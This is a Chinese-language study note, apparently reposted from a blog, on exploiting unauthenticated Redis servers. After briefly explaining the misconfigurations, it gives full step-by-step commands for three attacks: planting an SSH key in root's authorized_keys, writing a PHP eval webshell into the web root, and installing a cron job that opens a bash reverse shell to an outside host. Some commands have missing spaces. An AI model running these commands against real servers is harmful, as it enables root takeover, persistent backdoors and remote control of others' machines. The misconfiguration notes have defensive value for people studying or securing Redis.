redis未授权访问漏洞
漏洞原理
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(一般为空)或者设置弱口令密码,导致任何用户可以远程登录redis服务。
意思大概就是,由于管理者配置不当,导致任何人都可以(通过redis客户端)登录他的redis服务,然后搞事情。 比如删数据、写入一句话木马、上传公钥登录ssh服务、反弹shell
管理者如何配置不当?
- 没有设置密码,或者设置密码为弱口令
- 没有开启防火墙
- 将6379端口直接暴露在公网上,允许任何人访问
- 将将protected-mode设置为no,把保护关掉。
- 用管理员身份运行redis服务
漏洞环境
ubuntu下的的redis
漏洞复现
- 扫描靶机端口,看是否开放6379端口
- 发现6379开放,且是redis服务,于是用redis客户端直接连接,看是否存在密码。使用info命令i查看基本信息。 发现没有密码,可以直接登录,info命令有回显。证明存在redis未授权访问漏洞。
利用方式一
写入SSH公钥实现ssh登录
- 到~/.ssh目录下,生成自己的公钥
ssh-keygen -t rsa
- 将公钥写入一个txt文件
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt
- 将公钥中的内容作为值写入到hack中
cat1.txt | ./redis-cli -h ip -p 6379 -x set hack
- 连接redis服务
./redis-cli -h ip -p 6379
- 更改redis备份路径为ssh公钥存放目录
config setdir /root/.ssh
- 设置上传公钥的备份文件名字为authorized_keys,保存,退出
config set dbfilename authorized_keys
save
exit
- 尝试登录
ssh -i id_rsa root@ip
登录成功!权限为root
利用方式二
写入一句话木马
config setdir /var/www/html/
config set dbfilename shell.php
set x "<?php eval($_POST['cmd']);?>"
或者:
set shell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save
访问成功
用蚁剑连接
连接成功!
利用方式三
反弹shell
redis-cli -h 192.168.217.130
//写入反弹命令
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1\n\n"
config setdir /var/spool/cron/crontabs/
config set dbfilename root
save
结束!
基础知识
杀死redis进程
1. ps -ef|grep redis
示例:
[root@iz2ze5w0d1f4lqljfb9ld0z ~]# ps -ef | grep redis
root 1274511480015:01 ? 00:00:00 ./redis-server *:6379
root 1476914731015:17 pts/6 00:00:00 grep --color=auto redis
2. kill -9 pid
示例:
kill -9 12745
redis基础语法
/etc/init.d/redis-server stop
/etc/init.d/redis-server start
/etc/init.d/redis-server restart
参考博客:Redis 未授权访问漏洞复现
免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
版权归原作者 Day_0713 所有, 如有侵权,请联系我们删除。